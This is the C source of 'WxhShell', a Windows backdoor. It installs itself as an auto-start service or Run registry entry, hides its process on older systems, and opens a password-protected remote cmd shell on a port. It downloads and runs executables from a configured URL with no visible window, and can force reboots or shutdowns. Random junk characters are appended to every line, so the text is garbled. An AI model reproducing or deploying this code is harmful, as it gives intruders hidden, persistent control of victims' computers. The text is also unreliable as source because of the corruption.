    if(Boot(SHUTDOWN)) w&.a QGR#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M D#jj3y  
    else { h;'~,xA  
    closesocket(wsh); 0b 54fD=  
    ExitThread(0); x.4m|f0;  
    } :Llb< MY2  
    break; 3PF_H$`oJ  
    } 0PCGDLk8  
  // 获取shell \z)%$#I  
  case 's': { JK] PRDyD  
    CmdShell(wsh); #[[ en  
    closesocket(wsh); pQQH)`J|t  
    ExitThread(0); gnHbb-<i,  
    break; 2B`JGFcdcB  
  } #lO Mm9  
  // 退出 f%8C!W]Dm  
  case 'x': { aDN` 6[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3$ PV2"  
    CloseIt(wsh); TkF[x%o  
    break; bW:!5"_{H  
    } )LCHy^'  
  // 离开 MWh6]gGs  
  case 'q': { W} ofAkF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -tU'yKhn  
    closesocket(wsh); ?&uu[y  
    WSACleanup(); =i3n42M#  
    exit(1); NX&_p!_V  
    break; dQG=G%W  
        } 2 ? 4!K.  
  } \}G^\p6?M  
  } gI`m.EH}}N  
>.D4co>  
  // 提示信息 u]G\H!Wk Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H%{+QwzZ[j  
} 2>59q$ |  
  } JsS-n'gF'  
^kSqsT"  
  return; 0IWf!Sk ]  
} Gp\ kU:}&  
4{Z)8;QX  
// shell模块句柄 h>bx}$q  
int CmdShell(SOCKET sock) (QiAisE  
{ fTX;.M/%   
STARTUPINFO si; H0cA6I  
ZeroMemory(&si,sizeof(si)); %SUQ9\SEs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o,wUc"CE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;9'OOz|+1  
PROCESS_INFORMATION ProcessInfo; oD@7 SF  
char cmdline[]="cmd"; 'O-"\J\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /<BI46B\  
  return 0; *n"{J(Jt`  
} d0 /#nz  
o<!?7g{  
// 自身启动模式 m) D|l1AtF  
int StartFromService(void) |+"(L#wk  
{ t3^&; &[  
typedef struct U`s{Jm  
{ 3=;<$+I6  
  DWORD ExitStatus; Xlt|nX~#;  
  DWORD PebBaseAddress; >KKMcTOYY  
  DWORD AffinityMask; t ZB<on<.)  
  DWORD BasePriority; ( uidNq  
  ULONG UniqueProcessId; )=-szJjXZ  
  ULONG InheritedFromUniqueProcessId; q" 5(H5  
}   PROCESS_BASIC_INFORMATION; S`]k>' l  
a-J.B.A$Z/  
PROCNTQSIP NtQueryInformationProcess; Yz93'HDB  
[1H^3g '  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -|9=P\U8S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \lNN Msd&  
v(%*b,^  
  HANDLE             hProcess; -H-~;EzU  
  PROCESS_BASIC_INFORMATION pbi; /_ajaz%  
An/|+r\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AkiDL=;w  
  if(NULL == hInst ) return 0; .5{ab\_af  
=H]@n|$(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2I{"XB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Oa>Ppldeg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mB)bcuPv  
1m0c|ckb  
  if (!NtQueryInformationProcess) return 0; Z<{QaY$"  
dUdT7ixo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5Jnlz@P9  
  if(!hProcess) return 0; )Xyn q(  
Yz)qcU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J<lO= +mg  
oe~b}:  
  CloseHandle(hProcess); f(7GX3?  
~flV`wy$$1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +[g,B1jt  
if(hProcess==NULL) return 0; sW8dPw O  
"tpSg  
HMODULE hMod; `5Zz5V  
char procName[255]; [)X\|pO&  
unsigned long cbNeeded; Z;)%%V%o  
B4 }bVjs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eh#(eua0/  
vs{s_T7Mz]  
  CloseHandle(hProcess); R0-j5&^jju  
lU8Hd|@-  
if(strstr(procName,"services")) return 1; // 以服务启动 K!l5coM  
a7%]Y}$  
  return 0; // 注册表启动 BTrn0  
} ;i+#fQO7Q  
8DaL,bi*.  
// 主模块 ^sWT:BDh  
int StartWxhshell(LPSTR lpCmdLine) lks!w/yCF  
{ 8, >P  
  SOCKET wsl; )wh A<lC  
BOOL val=TRUE; "kqPmeI  
  int port=0; hP&B t  
  struct sockaddr_in door; U~7c+}:c  
ufT`"i  
  if(wscfg.ws_autoins) Install(); m&yJzMW|  
'1/i"yoW  
port=atoi(lpCmdLine); S ByW[JE  
@U}1EC{A  
if(port<=0) port=wscfg.ws_port; ;,e2egC'  
BIL Lq8)  
  WSADATA data; jWfa;&Ra  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u\JNr}bL  
Nda *L|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _zMW=nypdx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xKp4*[}m  
  door.sin_family = AF_INET; =_u4=4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3=ymm^  
  door.sin_port = htons(port); u> 7=AlWF-  
9'q*:&qq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <Q?F?.^e  
closesocket(wsl); UFuX@Lu0  
return 1; $iz|\m  
} 4+ Z]3oIRE  
3? +Hd  
  if(listen(wsl,2) == INVALID_SOCKET) { {Y9q[D'g.  
closesocket(wsl); 7D5]G-}x.  
return 1; H<N,%G  
} i K? w6  
  Wxhshell(wsl); Pgea NK5Y  
  WSACleanup(); cYt!n5w~W  
pz>>)c`  
return 0; N87B8rDl  
?FcAXA/J{  
} icK/],  
"'\$ g[k  
// 以NT服务方式启动 3m)y|$R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HHsmLo c4  
{ P";'jVcR  
DWORD   status = 0;  0lR5<^B  
  DWORD   specificError = 0xfffffff; ~e@z;]CiY  
TRq6NB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yz8jw:d^-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v_-dx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c0u^zH<  
  serviceStatus.dwWin32ExitCode     = 0; DR<9#RRD  
  serviceStatus.dwServiceSpecificExitCode = 0; G'A R`"F  
  serviceStatus.dwCheckPoint       = 0; sON|w86B  
  serviceStatus.dwWaitHint       = 0; b SU~XGPB  
@MCg%Afw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g}',(tPMZ  
  if (hServiceStatusHandle==0) return; ~Jz6O U*z  
tZG:Pr1U@  
status = GetLastError(); z' >_Mc6  
  if (status!=NO_ERROR) n6a`;0f[R  
{ +; AZ+w]ZF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @I!0-OjL  
    serviceStatus.dwCheckPoint       = 0; )Z9>$V$j  
    serviceStatus.dwWaitHint       = 0; ,01"SWE  
    serviceStatus.dwWin32ExitCode     = status; ?.;c$'  
    serviceStatus.dwServiceSpecificExitCode = specificError; e**qF=HCw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [HZv8HU|  
    return; |# 2.Q:&  
  } &KRX[2  
Npy :!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6~w@PRy  
  serviceStatus.dwCheckPoint       = 0; N//K Ph  
  serviceStatus.dwWaitHint       = 0; #O dJ"1A|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *bA.zmzM  
} "1 M[5\Ax  
B_m8{44zM  
// 处理NT服务事件,比如:启动、停止 R/z=p_6p7`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6jLCU%^  
{ 9mTJ|sN:e  
switch(fdwControl) hZ  
{ ;MdlwQ$`  
case SERVICE_CONTROL_STOP: dNeVo|Y~h  
  serviceStatus.dwWin32ExitCode = 0; WEi2=3dV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @2 fg~2M1  
  serviceStatus.dwCheckPoint   = 0; E09 :E  
  serviceStatus.dwWaitHint     = 0; :X (=z;B;N  
  { G*P#]eO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^3L0w}#  
  } 7E~;xn;  
  return; |_@>*Vmg  
case SERVICE_CONTROL_PAUSE: IB] l1<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j+  0I-p  
  break; VS8Rx.?  
case SERVICE_CONTROL_CONTINUE: ^,T(mKS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }?Ai87-{  
  break; -C?ZB}`   
case SERVICE_CONTROL_INTERROGATE: L0WN\|D  
  break; b!5~7Ub.No  
}; XuM'_FN`A<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2!=f hN  
} Gu\q%'I  
9m~p0ILh  
// 标准应用程序主函数 *wB1,U{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4u})+2W  
{ n8ZZ#}Nhg  
q'Tf,a  
// 获取操作系统版本 '@k+4y9q?  
OsIsNt=GetOsVer(); X?qK0fS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x-&@wMqkc  
'kO!^6=4M  
  // 从命令行安装 8NAON5.!  
  if(strpbrk(lpCmdLine,"iI")) Install(); PBTnIU  
CN8Y\<Ar  
  // 下载执行文件 *mvlb (' &  
if(wscfg.ws_downexe) { H*'IK'O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E92KP?i  
  WinExec(wscfg.ws_filenam,SW_HIDE); JO6)-U$7UG  
} |imM# wF  
hy"\RW  
if(!OsIsNt) { U>}w2bZ*  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,M ^<CJ  
HideProc(); @O^6&\s>  
StartWxhshell(lpCmdLine); dE{dZ#Jfi  
} ]Ntmy;Q   
else jkF^-Up.  
  if(StartFromService()) =R$u[~Xl2X  
  // 以服务方式启动 @>Km_Ax  
  StartServiceCtrlDispatcher(DispatchTable); -Cc^d!::  
else ^Q?  
  // 普通方式启动 Ig0VW)@  
  StartWxhshell(lpCmdLine); _H7x9 y=  
#( 146  
return 0; |~mOfuQb  
} ra gXn  
O`t&ldU  
fdi\hg^x  
,w:U#r~s"  
=========================================== sLT3Y}IO  
!9VY|&fHe  
-3Z,EaG^  
" C Qa.%  
=wV<hg)C  
m'=Crei  
" F8,RXlGfA[  
,G?WAOy,  
#include <stdio.h> h_,i&d@(  
#include <string.h> j@3Q;F0ba  
#include <windows.h> q\4Xs$APq  
#include <winsock2.h> 9W1YW9rL  
#include <winsvc.h> ~H<6gN<j(.  
#include <urlmon.h> +.b,AqJ/  
FxWSV|Z  
#pragma comment (lib, "Ws2_32.lib") 3<f}nfB%r?  
#pragma comment (lib, "urlmon.lib") u(F_oZ~  
k|PN0&J  
#define MAX_USER   100 // 最大客户端连接数 M; tqp8  
#define BUF_SOCK   200 // sock buffer :vQrOn18p  
#define KEY_BUFF   255 // 输入 buffer :zke %Yx  
5 ,B_u%bb  
#define REBOOT     0   // 重启 0{p#j~ZhC  
#define SHUTDOWN   1   // 关机 CXx*_@}MU  
A>;bHf@  
#define DEF_PORT   5000 // 监听端口 :g=qz~2Xk  
!6O(-S2A  
#define REG_LEN     16   // 注册表键长度 .glA gt  
#define SVC_LEN     80   // NT服务名长度 ;) z:fToh  
bSi%2Onj  
// 从dll定义API VSI9U3t3w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q%f^)HZGR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h# o6K#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g63(E,;;J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XZ]uUP  
vDhh>x(  
// wxhshell配置信息 +RMSA^  
struct WSCFG { i0kak`x0  
  int ws_port;         // 监听端口 }t=!(GOb}  
  char ws_passstr[REG_LEN]; // 口令 }9#r0Vja  
  int ws_autoins;       // 安装标记, 1=yes 0=no ub#a`  
  char ws_regname[REG_LEN]; // 注册表键名 CMG&7(MR  
  char ws_svcname[REG_LEN]; // 服务名 }Gm>`cw-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g-</ua(j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DIfaVo/"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^]0Pfna+N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :tB1D@Cb6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c&?m>2^6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sc1 8dC0  
gpvYb7Of0  
}; kY|utoAP  
H.|#c^I  
// default Wxhshell configuration (Ag1 6  
struct WSCFG wscfg={DEF_PORT, gw3K+P  
    "xuhuanlingzhe", %G/ hD  
    1, ^?7-r6  
    "Wxhshell", +-U- D?-  
    "Wxhshell",  Rn(ec  
            "WxhShell Service", < #}5IQ5`Z  
    "Wrsky Windows CmdShell Service", ~IfJwBn-i  
    "Please Input Your Password: ", tGh~!|P  
  1, Ms5ap<q#  
  "http://www.wrsky.com/wxhshell.exe", HI R~"It$  
  "Wxhshell.exe" bz2ztH9 n  
    }; i$:*Pb3mV  
v6M6>&RR|  
// 消息定义模块 *K6g\f]b#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fa Qe_;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L~rBAIdD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vrhT<+q  
char *msg_ws_ext="\n\rExit."; 9`A;U|~E@  
char *msg_ws_end="\n\rQuit."; H z1%x  
char *msg_ws_boot="\n\rReboot..."; t?x<g<PJ4  
char *msg_ws_poff="\n\rShutdown..."; wOEj)fp .  
char *msg_ws_down="\n\rSave to "; DJXmGt]  
+ocol6G7W  
char *msg_ws_err="\n\rErr!"; fF$<7O)+]  
char *msg_ws_ok="\n\rOK!"; L_uVL#To  
NMa}{*sQ  
char ExeFile[MAX_PATH]; :I j{s  
int nUser = 0; g1/[eoZzk  
HANDLE handles[MAX_USER]; tqvN0vY5  
int OsIsNt; D9 CaFu  
{W =%U|f  
SERVICE_STATUS       serviceStatus; u~M q*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pw7]r<Q  
.9on@S  
// 函数声明 J!v3i*j\  
int Install(void); iwZPpl ";  
int Uninstall(void); F3v !AvA|  
int DownloadFile(char *sURL, SOCKET wsh); B:;pvW]  
int Boot(int flag); 8>2.UrC  
void HideProc(void); j9x<Y]  
int GetOsVer(void); fcRxp{*zO  
int Wxhshell(SOCKET wsl); _"Dv uR  
void TalkWithClient(void *cs); 7a =gH2]&  
int CmdShell(SOCKET sock); L%*!`TN  
int StartFromService(void); hYT0l$Ng  
int StartWxhshell(LPSTR lpCmdLine); * J7DY f  
L O_k@3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SO|NaqWa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [fya)}  
hLd^ agX  
// 数据结构和表定义 Bw)/DM]  
SERVICE_TABLE_ENTRY DispatchTable[] = ^pAAzr"hv  
{ N ,'GN[s  
{wscfg.ws_svcname, NTServiceMain}, xjuN-  
{NULL, NULL} d6?j`~[7#-  
}; ]_mb7X>  
f}#~-.NGs  
// 自我安装 c@!_ /0  
int Install(void) $Uq|w[LA  
{ :t"^6xt  
  char svExeFile[MAX_PATH]; ^e2VE_8L  
  HKEY key; Xy|So|/bKd  
  strcpy(svExeFile,ExeFile); F 5bj=mI  
n71r_S*  
// 如果是win9x系统,修改注册表设为自启动 gq4Tb c oA  
if(!OsIsNt) { \%JgH=@ :=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M)J5;^["  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NR 5gj-B[  
  RegCloseKey(key); =1FRFZI!j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _UMg[Um  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8\@m - E!{  
  RegCloseKey(key); :}L[sl\R  
  return 0; U8s2|G;K  
    } 3 Gp$a;g  
  } '1P2$#  
} ?Ny9'g>?  
else { 9N#_( uwt  
a+[KI  
// 如果是NT以上系统,安装为系统服务 *)$Uvw E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >a!/QMh  
if (schSCManager!=0) CTB~Yj@d+  
{ >Eyt17_H"n  
  SC_HANDLE schService = CreateService ^b4 9  
  ( )Ys x}vSZ  
  schSCManager, vjbASFF0=  
  wscfg.ws_svcname, f O}pj:  
  wscfg.ws_svcdisp, guq{#?}  
  SERVICE_ALL_ACCESS, d\&U*=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /kZebNf6H  
  SERVICE_AUTO_START, }Sm(]y  
  SERVICE_ERROR_NORMAL, KB3Htw%W[+  
  svExeFile, gD-d29pQ  
  NULL, .9/ hHCp  
  NULL, ;V:i!u u  
  NULL, &&5aM  
  NULL, )!th7sH  
  NULL WrnrFz  
  ); g+8OekzB5  
  if (schService!=0) du $:jN\}  
  { "(3[+W{|  
  CloseServiceHandle(schService); SXSgld2uS  
  CloseServiceHandle(schSCManager); I13y6= d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bQzZy5,  
  strcat(svExeFile,wscfg.ws_svcname); xeg/A}yE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e@L=LW>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @+&LYy72  
  RegCloseKey(key); x 77*c._3v  
  return 0; WA<v9#m  
    } t >L2  
  } sNbxI|B  
  CloseServiceHandle(schSCManager); JinUV6cr  
} \0^Kram>  
} $P >  
A6  
return 1; h/QXPdV  
} !4ocZmj\  
wm+};L&_  
// 自我卸载 -mbt4w  
int Uninstall(void) w1F cB$  
{ +r�  
  HKEY key; u4*BX&  
U45e2~1!O  
if(!OsIsNt) { Yj<a" Gr4[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k90YV(  
  RegDeleteValue(key,wscfg.ws_regname); iOf<$f  
  RegCloseKey(key); $H2u.U<ip  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *l(7D(#  
  RegDeleteValue(key,wscfg.ws_regname); 3p$?,0ELH  
  RegCloseKey(key); *[Imn\hu  
  return 0; `Y0%c Xi3  
  } R)?*N@.s  
} ,5P0S0*{  
} [CTnXb  
else { '9%\;  
dUD[e,?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IY1 //9  
if (schSCManager!=0) :^<3>zk  
{ ,=uD^n:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W Tcw4  
  if (schService!=0) h! ,v/7=  
  { ;gD})@  
  if(DeleteService(schService)!=0) { %6t:(z  
  CloseServiceHandle(schService); ./XYd"p  
  CloseServiceHandle(schSCManager); Ml`:UrU  
  return 0; ;'gWu  
  } cQjv$$&6[  
  CloseServiceHandle(schService); +Z,;,5'5G  
  } Hkg2P ,2  
  CloseServiceHandle(schSCManager); QDZWX`qw{  
} m%0p\Y-/  
} 9v#CE!  
7:e{;iG  
return 1; b8H{8{wi|  
} 5G}?fSQ>  
.S EdY:  
// 从指定url下载文件 V_)-#=J  
int DownloadFile(char *sURL, SOCKET wsh) HGl|-nW>  
{ TbMW|0 #w  
  HRESULT hr; \a<wKTkn  
char seps[]= "/"; hy9\57_#  
char *token; 1l9 G[o *  
char *file; Oz.HH  
char myURL[MAX_PATH]; UklUw  
char myFILE[MAX_PATH]; _OYasJUMG  
2bz2KB5>  
strcpy(myURL,sURL); //B&k`u  
  token=strtok(myURL,seps); ;2G*wR  
  while(token!=NULL) &.3"Uo\#  
  { &*o=I|pQ  
    file=token; }ZYd4h|g\z  
  token=strtok(NULL,seps); 3s*mbk[J  
  } A]*}HZ ,  
fT|.@%"vc  
GetCurrentDirectory(MAX_PATH,myFILE); Od,=mO*.Q  
strcat(myFILE, "\\"); [\]50=&  
strcat(myFILE, file); vo?9(+:|e  
  send(wsh,myFILE,strlen(myFILE),0); cF*TotU_m  
send(wsh,"...",3,0); Z<oaK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *9 {PEx  
  if(hr==S_OK) MyOd,vU  
return 0; -au^;CM  
else xl{=Y< ;  
return 1; ]dVGUG8  
4>YR{  
} ]U?^hZ_  
<(#(hDwy  
// 系统电源模块 0J*??g-n  
int Boot(int flag) *YI98  
{ yHYsZ,GE  
  HANDLE hToken; `K"L /I9  
  TOKEN_PRIVILEGES tkp; v4<nI;Ux  
\Dm";Ay>  
  if(OsIsNt) { @ 6\I~s(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q)#B0NA;T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SZ7:u895E  
    tkp.PrivilegeCount = 1; 6dQ-HI*Y#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {'flJ5]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2F[ q).  
if(flag==REBOOT) { rCEyQ)R_}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) goNG' o %|  
  return 0; TJd)K$O>  
} _{ue8kGt  
else { Mc lkEfn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W_293["lS  
  return 0; S)(.,x  
} + /G2fhE  
  } {L971W_L  
  else { 2YL?,uLS  
if(flag==REBOOT) { U)TUOwF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 299H$$WS,Z  
  return 0; g @Z))M+  
} D_2:k'4  
else { ]|pe>:gf'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _oL?*ks  
  return 0; umBICC]CU  
} W ~<^L\Lu  
} y8y5*e~A-)  
1dY}\Sp  
return 1; K`eCDvlH  
} %fZJRu 1b  
';Ea?ID  
// win9x进程隐藏模块 UBKu /@[f@  
void HideProc(void) ]OhiYU4  
{ 7O2/z:$f  
/V8 #[9K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yqs4[C  
  if ( hKernel != NULL ) C.:<-xo  
  { u]wZQl#-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .8g)av+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Eh`7X=Z7E  
    FreeLibrary(hKernel); Ufj`euY  
  } m,28u3@r  
)iX~}7  
return; o#)C^xlQ  
}  'c&Ed  
T.F!+  
// 获取操作系统版本 hW' )Sp  
int GetOsVer(void) P;y45b  
{ RU{twL.B  
  OSVERSIONINFO winfo; T"Y+m-<%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h^45,E C  
  GetVersionEx(&winfo); [^n.Pns  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D8Ic?:iX[  
  return 1; dbLZc$vPj  
  else >=lC4Tu  
  return 0; G>_*djUf  
} 2szPAuN+  
lBE= (A`  
// 客户端句柄模块  7Die FZ?  
int Wxhshell(SOCKET wsl) eIF5ZPSZi  
{ ?,Xw[pR  
  SOCKET wsh; ;O5zUl-`  
  struct sockaddr_in client; Ty\R=y}}  
  DWORD myID; ;C#F>SG\S  
+480 l}  
  while(nUser<MAX_USER) ,pfG  
{ M^Yh|%M  
  int nSize=sizeof(client); ja'T+!k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CkC^'V)  
  if(wsh==INVALID_SOCKET) return 1; Po;W'7"Po`  
"Y.tht H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !TH) +zi  
if(handles[nUser]==0) Kn{4;Xk\  
  closesocket(wsh); _ye |Y  
else /N+dQe  
  nUser++; q$UJ$ 7=f8  
  } 6v!`1} ~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =?* !"&h  
"cGk)s  
  return 0; N% B>M7-=  
} wu6;.xTLl  
8rGgF]F  
// 关闭 socket g-k|>-h  
void CloseIt(SOCKET wsh) nAato\mM  
{ j_[tu!~  
closesocket(wsh); +E+p"7  
nUser--; rKc9b<Ir  
ExitThread(0); s^TZXCyF o  
} FGJ1dBLr  
'BxX0  
// 客户端请求句柄 AN m d!  
void TalkWithClient(void *cs) >uB?rGcM  
{ CW K7wZM  
uZYF(Yu  
  SOCKET wsh=(SOCKET)cs; }tu C}  
  char pwd[SVC_LEN]; t3ZOco@~P  
  char cmd[KEY_BUFF]; XJB)rP  
char chr[1]; gg/-k;@ Rf  
int i,j; iVr JQ  
^CH=O|8j  
  while (nUser < MAX_USER) { 8d{0rqwNE  
L{\8!51L  
if(wscfg.ws_passstr) { Hio0HL-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S+6.ZZ9c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M0"_^?  
  //ZeroMemory(pwd,KEY_BUFF); y<3-?}.aZ  
      i=0; e{H=dIa+  
  while(i<SVC_LEN) { Zl!kJ:0  
RBd7YWo\|j  
  // 设置超时 8W7J3{d  
  fd_set FdRead; I][*j  
  struct timeval TimeOut; 1.hyCTnI  
  FD_ZERO(&FdRead); Ee#q9Cx^J  
  FD_SET(wsh,&FdRead); ?UR0:f:}oc  
  TimeOut.tv_sec=8;  }v{LRRi  
  TimeOut.tv_usec=0; $wa{~'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E&w7GZNt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nFCC St$  
^DLfY-F+j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }>|s=uGW  
  pwd=chr[0]; 2tO,dx  
  if(chr[0]==0xd || chr[0]==0xa) { Rp7mh]kZ  
  pwd=0; MN>b7O \.?  
  break; 9=tIz  
  } d-ko ^Y0  
  i++; G*MUO#_iuh  
    } 7A7?GDW  
8Fh)eha9f  
  // 如果是非法用户,关闭 socket >'$Mp<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y@iS_lR  
} N~gzDQ3  
tOD6&<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3}1u\(Mf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pki%vRY  
r5/0u(\LB  
while(1) { o-HT1Hc!  
^\% (,KNo  
  ZeroMemory(cmd,KEY_BUFF); 8,%^ M9zBP  
2,F .$X  
      // 自动支持客户端 telnet标准   ;(%QD 3>  
  j=0; @HCVmg:  
  while(j<KEY_BUFF) { ~~P5k:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kTB 0b*V  
  cmd[j]=chr[0]; >U>(`r*  
  if(chr[0]==0xa || chr[0]==0xd) { gD?l-RT>  
  cmd[j]=0; vr l-$ii  
  break; X?',n 1  
  } }.(B}/$u  
  j++; bJ%h53  
    } +sA2WK]  
|df Pki{  
  // 下载文件 xo&_bMO  
  if(strstr(cmd,"http://")) { :Yl-w-oe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b%`1cV  
  if(DownloadFile(cmd,wsh)) ;'K5J9k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w& #]-|$  
  else *fxG?}YT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @.l@\4m  
